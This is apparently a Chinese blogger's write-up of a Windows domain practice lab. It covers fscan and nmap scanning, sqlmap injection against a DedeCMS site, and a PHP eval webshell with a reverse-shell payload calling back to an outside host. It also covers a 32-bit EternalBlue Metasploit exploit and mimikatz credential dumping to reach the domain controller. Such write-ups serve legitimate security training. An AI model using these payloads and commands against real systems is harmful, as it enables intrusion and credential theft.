一直做的靶场都是linux系统,这次找到一个好玩的windows域靶场(靶场平台:http://www.cloud-pentest.cn)。历时三天,五个flag,拿到域控下的flag才算成功。依旧是一次坎坷的打靶过程。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。
连上靶场vpn后,先用fscan对题目所给网段进行一个粗略扫描
存活两台机子123和141,其中141这台机子扫出来有ms17-010漏洞,
MS17-010漏洞(永恒之蓝):此漏洞利用445端口执行,原本是作为局域网共享使用的一个端口,但恶意人员可以利用此端口偷偷的执行共享服务或者其他命令执行操作,可以获取系统最高权限。
继续信息收集,用nmap扫一波全端口,看看有没有遗漏
嗯?141这台机子关了吗?根据提示,使用-Pn再扫一遍
嘿,没关,还开着445和3389端口,那为什么之前扫不到呢?查了一下才知道原因
如果当前用户是管理员权限,nmap默认会通过目标IP的80及443端口以及向目标ip发送icmp请求来判断目标IP是否存活,在这个例子中,目标80及443端口均不可达而且可能没开icmp协议,所以nmap认为172.25.0.141是死的并不再继续执行扫描动作
尝试使用msf利用ms17-010直接拿下141这台机子的shell
结果这台机子是32位的win7,我kali是64位的,暂时还利用不了,只能先去做一下123这台机子了,这台机子开放了80端口,使用浏览器访问,是织梦CMS
不说别的,先用gobuster扫一波目录
扫出来很多有意思的目录,一个一个的访问后感觉只有sql目录可以利用,
访问这个目录后直接跳转到了一个sql语句执行的页面,盲猜一波sql注入,在路径后面拼接上?id=2,访问
有戏的样子,直接上sqlmap一把梭
sqlmap -u http://172.25.0.123/sql/id=2 --dbs
扫出来四个数据库,常规操作,-D指定数据库(咱们直接用织梦的那个数据库),--tables爆表
第一个就是flag表,继续-T指定flag表,--dump爆出所有数据,拿下flag2
上一个flag是flag2,那flag1呢?回到主页面,可以看出这个cms的版本为v57_UTF8_SP1,但是我对织梦cms并不熟悉,搜一下这个版本历史漏洞,没有找到可以利用的,但是找到了这个cms的后台管理登录地址/dede/login.php
尝试一波弱口令,但是admin/admin;admin/123456都登不上去,还记得之前有个sql注入的漏洞,继续去看看,管理员的账号密码应该可以搞出来
成功拿到账号密码,进行登录,在管理页面成功拿下flag1
在下面有一个文件式管理器,可以上传文件,先传一个试试,看看能不能执行
<?php
@eval($_GET['cmd']);
phpinfo();
?>
上传成功,点击可以访问执行
因为kali自带的webshell管理工具用不习惯,还是尝试弹个shell回来吧
cmd=system('php+-r+\'$sock%3dfsockopen("10.8.0.70",1234)%3bsystem("sh+<%263+>%263+2>%263")%3b\'')%3b
使用burp抓包进行cmd传参,成功拿下shell,在网站根目录下拿到flag3
查看一下,123这台被拿下shell的机子的网段,
嗯,啥也没有,看来得回去干141那台机子了,但是我并不清楚如何对32位的win7去进行ms17-010的利用,只能先去学习一下再来了,刚好时间也到了,第一次打靶结束。
在学习了很多复现ms17-010的文章后,我大抵是看会了,先给kali装一下32位的环境
sudo dpkg --add-architecture i386 #这是让Linux安装32位架构,好兼容32位的程序
apt-get update
apt-get install wine32
wine cmd.exe #测试是否安装成功、
#下载32位操作系统所用的脚本
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
reload_all #将脚本放入msfexp目录下后,启动控制台,重新加载所有模块
exp的options的一些设置
use exploit/windows/smb/eternalblue_doublepulsar
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
建议在运行msfconsole时使用root身份运行,不然会报错的
在倒腾了好一会儿环境后终于可以run了,
成功拿下shell,但你以为这就结束了吗,嘿,还早着呢。这个shell基本上会每隔一分钟自动断开一次,每断开一次就得重新run一次。。。
执行一下ipconfig,看到了另一个网段192.168.60.1/24
大部分都是中文乱码,没怎么在意,本打算传一个frp上去搭建一个socks5隧道,结果试了很多次死活传不上
突然想起来这台机子开了3389端口,于是我就打算创建一个用户,使用远程桌面连接进行登录操作
因为它显示是乱码,我以为添加成功了,但是远程连接一直连不上,后来执行chcp 65001命令,才能让英文显示不乱码,再次尝试添加用户后发现它报错
执行whoami等其他命令也是报错,给我整不会了
但是ipconfig /all能用,上面还写出了有一个test域,还告诉我主机名字是topsec
我不是很了解rpc报1722的错是什么意思,以为是我自己操作的问题,既然这条路走不通,那就再换一种思路,还记得上面有找到过一个sql注入,有没有可能用户的密码设置的是一样的,我可以用从数据库中拿到的用户密码远程连接这台机子呢?
回头继续看了以下数据库中的数据,根据上面搜集到的信息,匹配到一条极有可能可以利用的账号密码
尝试登录,依旧报错,人快麻了
实在是没思路了,找管理员沟通了一下后,原来是靶场环境出了问题,呜呜呜...
时间也到了,第二次也就这样结束了
在环境修好后,我又开始了我的第三次打靶,不过这次ms17-010拿不到shell了,
应该是这个payload让这个漏洞利用起来不太稳定吧,那只能回到上一个思路,拿着sql注入搞出来的账号密码去尝试一下远程桌面连接了
嘿确实,连上去了,之后在C盘目录下找到了flag4
根据上面所有收集到的信息,已知存在一个test域,这台win7的机子还有一个网段192.168.60.1/24,看了一下题目给出的网络拓扑,最后应该是只剩下那台域控了,ipconfig看一下发现DNS服务器和网关都是192.168.60.100
那域控的ip应该就是这个了,上fscan扫一下
确实如此,192.168.60.100就是域控的ip,那我们要如何拿下域控呢?
一般来讲我会先用mimikatz把当前这台机子的密码哈希凭据什么的先给整下来,看看能不能直接靠这些信息登录域控,如果不行在去想别的办法,或者搭建个隧道利用fscan扫出来的这个ms17-010漏洞拿下域控。
思路明确,我本来还想着这个mimikatz要我自己上传,结果发现桌面上的win32文件夹里自带了mimikatz,好家伙这应该是题目给的提示吧
运行一下
log
privilege::debug //用于提升至DebugPrivilege权限
sekurlsa::logonpasswords full //用于导出用户凭据
找到了一个test域的administrator用户和密码
直接远程桌面里套一层远程桌面连接域控
最后在域控C盘里拿到了flag5
到这里就结束了,整个过程依旧坎坷,但是在不断的练习过程中对一些知识点的理解越来越深,对一些基本操作也越来越熟,也逐渐形成了一套自己的打靶练习方式,总的来说还是很有收获,最后感谢这个靶场平台的管理师傅们,为了让我能正常练习,周末放假还得来维护靶场,hhh,感兴趣的师傅们也可以玩一下这个靶场,还是挺有意思的。下次继续,嘿嘿。
希望师傅们不喜勿喷,感谢。